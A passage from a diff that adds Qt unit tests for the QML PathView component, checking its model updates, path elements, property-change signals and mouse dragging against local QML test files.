+ }
+
+ int count() const { return rowCount(); }
+ QString name(int index) const { return list.at(index).first; }
+ QString number(int index) const { return list.at(index).second; }
+
+ void addItem(const QString &name, const QString &number) {
+ beginInsertRows(QModelIndex(), list.count(), list.count());
+ list.append(QPair<QString,QString>(name, number));
+ endInsertRows();
+ }
+
+ void insertItem(int index, const QString &name, const QString &number) {
+ beginInsertRows(QModelIndex(), index, index);
+ list.insert(index, QPair<QString,QString>(name, number));
+ endInsertRows();
+ }
+
+ void removeItem(int index) {
+ beginRemoveRows(QModelIndex(), index, index);
+ list.removeAt(index);
+ endRemoveRows();
+ }
+
+ void moveItem(int from, int to) {
+ beginMoveRows(QModelIndex(), from, from, QModelIndex(), to);
+ list.move(from, to);
+ endMoveRows();
+ }
+
+ void modifyItem(int idx, const QString &name, const QString &number) {
+ list[idx] = QPair<QString,QString>(name, number);
+ emit dataChanged(index(idx,0), index(idx,0));
+ }
+
+private:
+ QList<QPair<QString,QString> > list;
+};
+
+
+tst_QDeclarativePathView::tst_QDeclarativePathView()
+{
+}
+
+void tst_QDeclarativePathView::initValues()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/pathview1.qml"));
+ QDeclarativePathView *obj = qobject_cast<QDeclarativePathView*>(c.create());
+
+ QVERIFY(obj != 0);
+ QVERIFY(obj->path() == 0);
+ QVERIFY(obj->delegate() == 0);
+ QCOMPARE(obj->model(), QVariant());
+ QCOMPARE(obj->currentIndex(), 0);
+ QCOMPARE(obj->offset(), 0.);
+ QCOMPARE(obj->preferredHighlightBegin(), 0.);
+ QCOMPARE(obj->dragMargin(), 0.);
+ QCOMPARE(obj->count(), 0);
+ QCOMPARE(obj->pathItemCount(), -1);
+}
+
+void tst_QDeclarativePathView::items()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ model.addItem("Fred", "12345");
+ model.addItem("John", "2345");
+ model.addItem("Bob", "54321");
+ model.addItem("Bill", "4321");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pathview0.qml"));
+ qApp->processEvents();
+
+ QDeclarativePathView *pathview = findItem<QDeclarativePathView>(canvas->rootObject(), "view");
+ QVERIFY(pathview != 0);
+
+ QCOMPARE(pathview->count(), model.count());
+ QCOMPARE(canvas->rootObject()->property("count").toInt(), model.count());
+ QCOMPARE(pathview->childItems().count(), model.count()+1); // assumes all are visible, including highlight
+
+ for (int i = 0; i < model.count(); ++i) {
+ QDeclarativeText *name = findItem<QDeclarativeText>(pathview, "textName", i);
+ QVERIFY(name != 0);
+ QCOMPARE(name->text(), model.name(i));
+ QDeclarativeText *number = findItem<QDeclarativeText>(pathview, "textNumber", i);
+ QVERIFY(number != 0);
+ QCOMPARE(number->text(), model.number(i));
+ }
+
+ QDeclarativePath *path = qobject_cast<QDeclarativePath*>(pathview->path());
+ QVERIFY(path);
+
+ QVERIFY(pathview->highlightItem());
+ QPointF start = path->pointAt(0.0);
+ QPointF offset;
+ offset.setX(pathview->highlightItem()->width()/2);
+ offset.setY(pathview->highlightItem()->height()/2);
+ QCOMPARE(pathview->highlightItem()->pos() + offset, start);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePathView::pathview2()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/pathview2.qml"));
+ QDeclarativePathView *obj = qobject_cast<QDeclarativePathView*>(c.create());
+
+ QVERIFY(obj != 0);
+ QVERIFY(obj->path() != 0);
+ QVERIFY(obj->delegate() != 0);
+ QVERIFY(obj->model() != QVariant());
+ QCOMPARE(obj->currentIndex(), 0);
+ QCOMPARE(obj->offset(), 0.);
+ QCOMPARE(obj->preferredHighlightBegin(), 0.);
+ QCOMPARE(obj->dragMargin(), 0.);
+ QCOMPARE(obj->count(), 8);
+ QCOMPARE(obj->pathItemCount(), 10);
+}
+
+void tst_QDeclarativePathView::pathview3()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/pathview3.qml"));
+ QDeclarativePathView *obj = qobject_cast<QDeclarativePathView*>(c.create());
+
+ QVERIFY(obj != 0);
+ QVERIFY(obj->path() != 0);
+ QVERIFY(obj->delegate() != 0);
+ QVERIFY(obj->model() != QVariant());
+ QCOMPARE(obj->currentIndex(), 0);
+ QCOMPARE(obj->offset(), 1.0);
+ QCOMPARE(obj->preferredHighlightBegin(), 0.5);
+ QCOMPARE(obj->dragMargin(), 24.);
+ QCOMPARE(obj->count(), 8);
+ QCOMPARE(obj->pathItemCount(), 4);
+}
+
+void tst_QDeclarativePathView::path()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/pathtest.qml"));
+ QDeclarativePath *obj = qobject_cast<QDeclarativePath*>(c.create());
+
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->startX(), 120.);
+ QCOMPARE(obj->startY(), 100.);
+ QVERIFY(obj->path() != QPainterPath());
+
+ QDeclarativeListReference list(obj, "pathElements");
+ QCOMPARE(list.count(), 5);
+
+ QDeclarativePathAttribute* attr = qobject_cast<QDeclarativePathAttribute*>(list.at(0));
+ QVERIFY(attr != 0);
+ QCOMPARE(attr->name(), QString("scale"));
+ QCOMPARE(attr->value(), 1.0);
+
+ QDeclarativePathQuad* quad = qobject_cast<QDeclarativePathQuad*>(list.at(1));
+ QVERIFY(quad != 0);
+ QCOMPARE(quad->x(), 120.);
+ QCOMPARE(quad->y(), 25.);
+ QCOMPARE(quad->controlX(), 260.);
+ QCOMPARE(quad->controlY(), 75.);
+
+ QDeclarativePathPercent* perc = qobject_cast<QDeclarativePathPercent*>(list.at(2));
+ QVERIFY(perc != 0);
+ QCOMPARE(perc->value(), 0.3);
+
+ QDeclarativePathLine* line = qobject_cast<QDeclarativePathLine*>(list.at(3));
+ QVERIFY(line != 0);
+ QCOMPARE(line->x(), 120.);
+ QCOMPARE(line->y(), 100.);
+
+ QDeclarativePathCubic* cubic = qobject_cast<QDeclarativePathCubic*>(list.at(4));
+ QVERIFY(cubic != 0);
+ QCOMPARE(cubic->x(), 180.);
+ QCOMPARE(cubic->y(), 0.);
+ QCOMPARE(cubic->control1X(), -10.);
+ QCOMPARE(cubic->control1Y(), 90.);
+ QCOMPARE(cubic->control2X(), 210.);
+ QCOMPARE(cubic->control2Y(), 90.);
+}
+
+void tst_QDeclarativePathView::dataModel()
+{
+ QDeclarativeView *canvas = createView();
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ TestModel model;
+ model.addItem("red", "1");
+ model.addItem("green", "2");
+ model.addItem("blue", "3");
+ model.addItem("purple", "4");
+ model.addItem("gray", "5");
+ model.addItem("brown", "6");
+ model.addItem("yellow", "7");
+ model.addItem("thistle", "8");
+ model.addItem("cyan", "9");
+ model.addItem("peachpuff", "10");
+ model.addItem("powderblue", "11");
+ model.addItem("gold", "12");
+ model.addItem("sandybrown", "13");
+
+ ctxt->setContextProperty("testData", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/datamodel.qml"));
+ qApp->processEvents();
+
+ QDeclarativePathView *pathview = qobject_cast<QDeclarativePathView*>(canvas->rootObject());
+ QVERIFY(pathview != 0);
+
+ QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties");
+ QVERIFY(testObject->error() == false);
+
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(pathview, "wrapper", 0);
+ QVERIFY(item);
+ QCOMPARE(item->x(), 110.0);
+ QCOMPARE(item->y(), 10.0);
+
+ model.insertItem(4, "orange", "10");
+ QTest::qWait(100);
+
+ QCOMPARE(canvas->rootObject()->property("viewCount").toInt(), model.count());
+ QTRY_COMPARE(findItems<QDeclarativeItem>(pathview, "wrapper").count(), 14);
+
+ QVERIFY(pathview->currentIndex() == 0);
+
+ QDeclarativeText *text = findItem<QDeclarativeText>(pathview, "myText", 4);
+ QVERIFY(text);
+ QCOMPARE(text->text(), model.name(4));
+
+ model.removeItem(2);
+ QCOMPARE(canvas->rootObject()->property("viewCount").toInt(), model.count());
+ text = findItem<QDeclarativeText>(pathview, "myText", 2);
+ QVERIFY(text);
+ QCOMPARE(text->text(), model.name(2));
+
+ testObject->setPathItemCount(5);
+ QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties");
+ QVERIFY(testObject->error() == false);
+
+ QTRY_COMPARE(findItems<QDeclarativeItem>(pathview, "wrapper").count(), 5);
+
+ QDeclarativeRectangle *testItem = findItem<QDeclarativeRectangle>(pathview, "wrapper", 4);
+ QVERIFY(testItem != 0);
+ testItem = findItem<QDeclarativeRectangle>(pathview, "wrapper", 5);
+ QVERIFY(testItem == 0);
+
+ pathview->setCurrentIndex(1);
+
+ model.insertItem(2, "pink", "2");
+ QTest::qWait(100);
+
+ QTRY_COMPARE(findItems<QDeclarativeItem>(pathview, "wrapper").count(), 5);
+ QVERIFY(pathview->currentIndex() == 1);
+
+ text = findItem<QDeclarativeText>(pathview, "myText", 2);
+ QVERIFY(text);
+ QCOMPARE(text->text(), model.name(2));
+
+ model.removeItem(3);
+ QTRY_COMPARE(findItems<QDeclarativeItem>(pathview, "wrapper").count(), 5);
+ text = findItem<QDeclarativeText>(pathview, "myText", 3);
+ QVERIFY(text);
+ QCOMPARE(text->text(), model.name(3));
+
+ model.moveItem(3, 5);
+ QTRY_COMPARE(findItems<QDeclarativeItem>(pathview, "wrapper").count(), 5);
+ QList<QDeclarativeItem*> items = findItems<QDeclarativeItem>(pathview, "wrapper");
+ foreach (QDeclarativeItem *item, items) {
+ QVERIFY(item->property("onPath").toBool());
+ }
+
+ // QTBUG-14199
+ pathview->setOffset(7);
+ pathview->setOffset(0);
+ QCOMPARE(findItems<QDeclarativeItem>(pathview, "wrapper").count(), 5);
+
+ pathview->setCurrentIndex(model.count()-1);
+ model.removeItem(model.count()-1);
+ QCOMPARE(pathview->currentIndex(), model.count()-1);
+
+ // QTBUG-18825
+ // Confirm that the target offset is adjusted when removing items
+ pathview->setCurrentIndex(model.count()-1);
+ QTRY_COMPARE(pathview->offset(), 1.);
+ pathview->setCurrentIndex(model.count()-5);
+ model.removeItem(model.count()-1);
+ model.removeItem(model.count()-1);
+ model.removeItem(model.count()-1);
+ QTRY_COMPARE(pathview->offset(), 2.);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePathView::pathMoved()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ model.addItem("Ben", "12345");
+ model.addItem("Bohn", "2345");
+ model.addItem("Bob", "54321");
+ model.addItem("Bill", "4321");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pathview0.qml"));
+ qApp->processEvents();
+
+ QDeclarativePathView *pathview = findItem<QDeclarativePathView>(canvas->rootObject(), "view");
+ QVERIFY(pathview != 0);
+
+ QDeclarativeRectangle *firstItem = findItem<QDeclarativeRectangle>(pathview, "wrapper", 0);
+ QVERIFY(firstItem);
+ QDeclarativePath *path = qobject_cast<QDeclarativePath*>(pathview->path());
+ QVERIFY(path);
+ QPointF start = path->pointAt(0.0);
+ QPointF offset;//Center of item is at point, but pos is from corner
+ offset.setX(firstItem->width()/2);
+ offset.setY(firstItem->height()/2);
+ QCOMPARE(firstItem->pos() + offset, start);
+ pathview->setOffset(1.0);
+
+ for(int i=0; i<model.count(); i++){
+ QDeclarativeRectangle *curItem = findItem<QDeclarativeRectangle>(pathview, "wrapper", i);
+ QPointF itemPos(path->pointAt(0.25 + i*0.25));
+ QCOMPARE(curItem->pos() + offset, QPointF(qRound(itemPos.x()), qRound(itemPos.y())));
+ }
+
+ pathview->setOffset(0.0);
+ QCOMPARE(firstItem->pos() + offset, start);
+
+ // Change delegate size
+ pathview->setOffset(0.1);
+ pathview->setOffset(0.0);
+ canvas->rootObject()->setProperty("delegateWidth", 30);
+ QCOMPARE(firstItem->width(), 30.0);
+ offset.setX(firstItem->width()/2);
+ QTRY_COMPARE(firstItem->pos() + offset, start);
+
+ // Change delegate scale
+ pathview->setOffset(0.1);
+ pathview->setOffset(0.0);
+ canvas->rootObject()->setProperty("delegateScale", 1.2);
+ QTRY_COMPARE(firstItem->pos() + offset, start);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePathView::setCurrentIndex()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ model.addItem("Ben", "12345");
+ model.addItem("Bohn", "2345");
+ model.addItem("Bob", "54321");
+ model.addItem("Bill", "4321");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pathview0.qml"));
+ qApp->processEvents();
+
+ QDeclarativePathView *pathview = findItem<QDeclarativePathView>(canvas->rootObject(), "view");
+ QVERIFY(pathview != 0);
+
+ QDeclarativeRectangle *firstItem = findItem<QDeclarativeRectangle>(pathview, "wrapper", 0);
+ QVERIFY(firstItem);
+ QDeclarativePath *path = qobject_cast<QDeclarativePath*>(pathview->path());
+ QVERIFY(path);
+ QPointF start = path->pointAt(0.0);
+ QPointF offset;//Center of item is at point, but pos is from corner
+ offset.setX(firstItem->width()/2);
+ offset.setY(firstItem->height()/2);
+ QCOMPARE(firstItem->pos() + offset, start);
+ QCOMPARE(canvas->rootObject()->property("currentA").toInt(), 0);
+ QCOMPARE(canvas->rootObject()->property("currentB").toInt(), 0);
+
+ pathview->setCurrentIndex(2);
+
+ firstItem = findItem<QDeclarativeRectangle>(pathview, "wrapper", 2);
+ QTRY_COMPARE(firstItem->pos() + offset, start);
+ QCOMPARE(canvas->rootObject()->property("currentA").toInt(), 2);
+ QCOMPARE(canvas->rootObject()->property("currentB").toInt(), 2);
+
+ pathview->decrementCurrentIndex();
+ QTRY_COMPARE(pathview->currentIndex(), 1);
+ firstItem = findItem<QDeclarativeRectangle>(pathview, "wrapper", 1);
+ QVERIFY(firstItem);
+ QTRY_COMPARE(firstItem->pos() + offset, start);
+
+ pathview->decrementCurrentIndex();
+ QTRY_COMPARE(pathview->currentIndex(), 0);
+ firstItem = findItem<QDeclarativeRectangle>(pathview, "wrapper", 0);
+ QVERIFY(firstItem);
+ QTRY_COMPARE(firstItem->pos() + offset, start);
+
+ pathview->decrementCurrentIndex();
+ QTRY_COMPARE(pathview->currentIndex(), 3);
+ firstItem = findItem<QDeclarativeRectangle>(pathview, "wrapper", 3);
+ QVERIFY(firstItem);
+ QTRY_COMPARE(firstItem->pos() + offset, start);
+
+ pathview->incrementCurrentIndex();
+ QTRY_COMPARE(pathview->currentIndex(), 0);
+ firstItem = findItem<QDeclarativeRectangle>(pathview, "wrapper", 0);
+ QVERIFY(firstItem);
+ QTRY_COMPARE(firstItem->pos() + offset, start);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePathView::resetModel()
+{
+ QDeclarativeView *canvas = createView();
+
+ QStringList strings;
+ strings << "one" << "two" << "three";
+ QStringListModel model(strings);
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/displaypath.qml"));
+ qApp->processEvents();
+
+ QDeclarativePathView *pathview = findItem<QDeclarativePathView>(canvas->rootObject(), "view");
+ QVERIFY(pathview != 0);
+
+ QCOMPARE(pathview->count(), model.rowCount());
+
+ for (int i = 0; i < model.rowCount(); ++i) {
+ QDeclarativeText *display = findItem<QDeclarativeText>(pathview, "displayText", i);
+ QVERIFY(display != 0);
+ QCOMPARE(display->text(), strings.at(i));
+ }
+
+ strings.clear();
+ strings << "four" << "five" << "six" << "seven";
+ model.setStringList(strings);
+
+ QCOMPARE(pathview->count(), model.rowCount());
+
+ for (int i = 0; i < model.rowCount(); ++i) {
+ QDeclarativeText *display = findItem<QDeclarativeText>(pathview, "displayText", i);
+ QVERIFY(display != 0);
+ QCOMPARE(display->text(), strings.at(i));
+ }
+}
+
+void tst_QDeclarativePathView::propertyChanges()
+{
+ QDeclarativeView *canvas = createView();
+ QVERIFY(canvas);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml"));
+
+ QDeclarativePathView *pathView = canvas->rootObject()->findChild<QDeclarativePathView*>("pathView");
+ QVERIFY(pathView);
+
+ QSignalSpy snapPositionSpy(pathView, SIGNAL(preferredHighlightBeginChanged()));
+ QSignalSpy dragMarginSpy(pathView, SIGNAL(dragMarginChanged()));
+
+ QCOMPARE(pathView->preferredHighlightBegin(), 0.1);
+ QCOMPARE(pathView->dragMargin(), 5.0);
+
+ pathView->setPreferredHighlightBegin(0.4);
+ pathView->setPreferredHighlightEnd(0.4);
+ pathView->setDragMargin(20.0);
+
+ QCOMPARE(pathView->preferredHighlightBegin(), 0.4);
+ QCOMPARE(pathView->preferredHighlightEnd(), 0.4);
+ QCOMPARE(pathView->dragMargin(), 20.0);
+
+ QCOMPARE(snapPositionSpy.count(), 1);
+ QCOMPARE(dragMarginSpy.count(), 1);
+
+ pathView->setPreferredHighlightBegin(0.4);
+ pathView->setPreferredHighlightEnd(0.4);
+ pathView->setDragMargin(20.0);
+
+ QCOMPARE(snapPositionSpy.count(), 1);
+ QCOMPARE(dragMarginSpy.count(), 1);
+ delete canvas;
+}
+
+void tst_QDeclarativePathView::pathChanges()
+{
+ QDeclarativeView *canvas = createView();
+ QVERIFY(canvas);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml"));
+
+ QDeclarativePathView *pathView = canvas->rootObject()->findChild<QDeclarativePathView*>("pathView");
+ QVERIFY(pathView);
+
+ QDeclarativePath *path = canvas->rootObject()->findChild<QDeclarativePath*>("path");
+ QVERIFY(path);
+
+ QSignalSpy startXSpy(path, SIGNAL(startXChanged()));
+ QSignalSpy startYSpy(path, SIGNAL(startYChanged()));
+
+ QCOMPARE(path->startX(), 220.0);
+ QCOMPARE(path->startY(), 200.0);
+
+ path->setStartX(240.0);
+ path->setStartY(220.0);
+
+ QCOMPARE(path->startX(), 240.0);
+ QCOMPARE(path->startY(), 220.0);
+
+ QCOMPARE(startXSpy.count(),1);
+ QCOMPARE(startYSpy.count(),1);
+
+ path->setStartX(240);
+ path->setStartY(220);
+
+ QCOMPARE(startXSpy.count(),1);
+ QCOMPARE(startYSpy.count(),1);
+
+ QDeclarativePath *alternatePath = canvas->rootObject()->findChild<QDeclarativePath*>("alternatePath");
+ QVERIFY(alternatePath);
+
+ QSignalSpy pathSpy(pathView, SIGNAL(pathChanged()));
+
+ QCOMPARE(pathView->path(), path);
+
+ pathView->setPath(alternatePath);
+ QCOMPARE(pathView->path(), alternatePath);
+ QCOMPARE(pathSpy.count(),1);
+
+ pathView->setPath(alternatePath);
+ QCOMPARE(pathSpy.count(),1);
+
+ QDeclarativePathAttribute *pathAttribute = canvas->rootObject()->findChild<QDeclarativePathAttribute*>("pathAttribute");
+ QVERIFY(pathAttribute);
+
+ QSignalSpy nameSpy(pathAttribute, SIGNAL(nameChanged()));
+ QCOMPARE(pathAttribute->name(), QString("opacity"));
+
+ pathAttribute->setName("scale");
+ QCOMPARE(pathAttribute->name(), QString("scale"));
+ QCOMPARE(nameSpy.count(),1);
+
+ pathAttribute->setName("scale");
+ QCOMPARE(nameSpy.count(),1);
+ delete canvas;
+}
+
+void tst_QDeclarativePathView::componentChanges()
+{
+ QDeclarativeView *canvas = createView();
+ QVERIFY(canvas);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml"));
+
+ QDeclarativePathView *pathView = canvas->rootObject()->findChild<QDeclarativePathView*>("pathView");
+ QVERIFY(pathView);
+
+ QDeclarativeComponent delegateComponent(canvas->engine());
+ delegateComponent.setData("import QtQuick 1.0; Text { text: '<b>Name:</b> ' + name }", QUrl::fromLocalFile(""));
+
+ QSignalSpy delegateSpy(pathView, SIGNAL(delegateChanged()));
+
+ pathView->setDelegate(&delegateComponent);
+ QCOMPARE(pathView->delegate(), &delegateComponent);
+ QCOMPARE(delegateSpy.count(),1);
+
+ pathView->setDelegate(&delegateComponent);
+ QCOMPARE(delegateSpy.count(),1);
+ delete canvas;
+}
+
+void tst_QDeclarativePathView::modelChanges()
+{
+ QDeclarativeView *canvas = createView();
+ QVERIFY(canvas);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml"));
+
+ QDeclarativePathView *pathView = canvas->rootObject()->findChild<QDeclarativePathView*>("pathView");
+ QVERIFY(pathView);
+
+ QDeclarativeListModel *alternateModel = canvas->rootObject()->findChild<QDeclarativeListModel*>("alternateModel");
+ QVERIFY(alternateModel);
+ QVariant modelVariant = QVariant::fromValue(alternateModel);
+ QSignalSpy modelSpy(pathView, SIGNAL(modelChanged()));
+
+ pathView->setModel(modelVariant);
+ QCOMPARE(pathView->model(), modelVariant);
+ QCOMPARE(modelSpy.count(),1);
+
+ pathView->setModel(modelVariant);
+ QCOMPARE(modelSpy.count(),1);
+
+ pathView->setModel(QVariant());
+ QCOMPARE(modelSpy.count(),2);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePathView::pathUpdateOnStartChanged()
+{
+ QDeclarativeView *canvas = createView();
+ QVERIFY(canvas);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pathUpdateOnStartChanged.qml"));
+
+ QDeclarativePathView *pathView = canvas->rootObject()->findChild<QDeclarativePathView*>("pathView");
+ QVERIFY(pathView);
+
+ QDeclarativePath *path = canvas->rootObject()->findChild<QDeclarativePath*>("path");
+ QVERIFY(path);
+ QCOMPARE(path->startX(), 400.0);
+ QCOMPARE(path->startY(), 300.0);
+
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(pathView, "wrapper", 0);
+ QVERIFY(item);
+ QCOMPARE(item->x(), path->startX() - item->width() / 2.0);
+ QCOMPARE(item->y(), path->startY() - item->height() / 2.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePathView::package()
+{
+ QDeclarativeView *canvas = createView();
+ QVERIFY(canvas);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pathview_package.qml"));
+
+ QDeclarativePathView *pathView = canvas->rootObject()->findChild<QDeclarativePathView*>("photoPathView");
+ QVERIFY(pathView);
+
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(pathView, "pathItem");
+ QVERIFY(item);
+ QVERIFY(item->scale() != 1.0);
+
+ delete canvas;
+}
+
+//QTBUG-13017
+void tst_QDeclarativePathView::emptyModel()
+{
+ QDeclarativeView *canvas = createView();
+
+ QStringListModel model;
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("emptyModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/emptymodel.qml"));
+ qApp->processEvents();
+
+ QDeclarativePathView *pathview = qobject_cast<QDeclarativePathView*>(canvas->rootObject());
+ QVERIFY(pathview != 0);
+
+ QCOMPARE(pathview->offset(), qreal(0.0));
+
+ delete canvas;
+}
+
+void tst_QDeclarativePathView::closed()
+{
+ QDeclarativeEngine engine;
+
+ {
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/openPath.qml"));
+ QDeclarativePath *obj = qobject_cast<QDeclarativePath*>(c.create());
+ QVERIFY(obj);
+ QCOMPARE(obj->isClosed(), false);
+ delete obj;
+ }
+
+ {
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/closedPath.qml"));
+ QDeclarativePath *obj = qobject_cast<QDeclarativePath*>(c.create());
+ QVERIFY(obj);
+ QCOMPARE(obj->isClosed(), true);
+ delete obj;
+ }
+}
+
+// QTBUG-14239
+void tst_QDeclarativePathView::pathUpdate()
+{
+ QDeclarativeView *canvas = createView();
+ QVERIFY(canvas);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pathUpdate.qml"));
+
+ QDeclarativePathView *pathView = canvas->rootObject()->findChild<QDeclarativePathView*>("pathView");
+ QVERIFY(pathView);
+
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(pathView, "wrapper", 0);
+ QVERIFY(item);
+ QCOMPARE(item->x(), 150.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePathView::visualDataModel()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/vdm.qml"));
+
+ QDeclarativePathView *obj = qobject_cast<QDeclarativePathView*>(c.create());
+ QVERIFY(obj != 0);
+
+ QCOMPARE(obj->count(), 3);
+
+ delete obj;
+}
+
+void tst_QDeclarativePathView::undefinedPath()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/undefinedpath.qml"));
+
+ QDeclarativePathView *obj = qobject_cast<QDeclarativePathView*>(c.create());
+ QVERIFY(obj != 0);
+
+ QCOMPARE(obj->count(), 3);
+
+ delete obj;
+}
+
+void tst_QDeclarativePathView::mouseDrag()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/dragpath.qml"));
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QDeclarativePathView *pathview = qobject_cast<QDeclarativePathView*>(canvas->rootObject());
+ QVERIFY(pathview != 0);
+
+ int current = pathview->currentIndex();
+
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(10,100)));
+
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(30,100)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(90,100)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+
+ QVERIFY(pathview->currentIndex() != current);
+
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(40,100)));
+
+ delete canvas;
+}
+
+void tst_QDeclarativePathView::treeModel()
+{
+ QDeclarativeView *canvas = createView();
+
+ QStandardItemModel model;
+ initStandardTreeModel(&model);
+ canvas->engine()->rootContext()->setContextProperty("myModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/treemodel.qml"));
+
+ QDeclarativePathView *pathview = qobject_cast<QDeclarativePathView*>(canvas->rootObject());
+ QVERIFY(pathview != 0);
+ QCOMPARE(pathview->count(), 3);
+
+ QDeclarativeText *item = findItem<QDeclarativeText>(pathview, "wrapper", 0);
+ QVERIFY(item);
+ QCOMPARE(item->text(), QLatin1String("Row 1 Item"));
+
+ QVERIFY(QMetaObject::invokeMethod(pathview, "setRoot", Q_ARG(QVariant, 1)));
+ QCOMPARE(pathview->count(), 1);
+
+ QTRY_VERIFY(item = findItem<QDeclarativeText>(pathview, "wrapper", 0));
+ QTRY_COMPARE(item->text(), QLatin1String("Row 2 Child Item"));
+
+ delete canvas;
+}
+
+void tst_QDeclarativePathView::changePreferredHighlight()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setFixedSize(400,200);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/dragpath.qml"));
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QDeclarativePathView *pathview = qobject_cast<QDeclarativePathView*>(canvas->rootObject());
+ QVERIFY(pathview != 0);
+
+ int current = pathview->currentIndex();
+ QCOMPARE(current, 0);
+
+ QDeclarativeRectangle *firstItem = findItem<QDeclarativeRectangle>(pathview, "wrapper", 0);
+ QVERIFY(firstItem);
+ QDeclarativePath *path = qobject_cast<QDeclarativePath*>(pathview->path());
+ QVERIFY(path);
+ QPointF start = path->pointAt(0.5);
+ start.setX(qRound(start.x()));
+ start.setY(qRound(start.y()));
+ QPointF offset;//Center of item is at point, but pos is from corner
+ offset.setX(firstItem->width()/2);
+ offset.setY(firstItem->height()/2);
+ QTRY_COMPARE(firstItem->pos() + offset, start);
+
+ pathview->setPreferredHighlightBegin(0.8);
+ pathview->setPreferredHighlightEnd(0.8);
+ start = path->pointAt(0.8);
+ start.setX(qRound(start.x()));
+ start.setY(qRound(start.y()));
+ QTRY_COMPARE(firstItem->pos() + offset, start);
+ QCOMPARE(pathview->currentIndex(), 0);
+
+ delete canvas;
+}
+
+QDeclarativeView *tst_QDeclarativePathView::createView()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ return canvas;
+}
+
+/*
+ Find an item with the specified objectName. If index is supplied then the
+ item must also evaluate the {index} expression equal to index
+ */
+template<typename T>
+T *tst_QDeclarativePathView::findItem(QGraphicsObject *parent, const QString &objectName, int index)
+{
+ const QMetaObject &mo = T::staticMetaObject;
+ //qDebug() << parent->childItems().count() << "children";
+ for (int i = 0; i < parent->childItems().count(); ++i) {
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(parent->childItems().at(i));
+ if(!item)
+ continue;
+ //qDebug() << "try" << item;
+ if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) {
+ if (index != -1) {
+ QDeclarativeExpression e(qmlContext(item), item, "index");
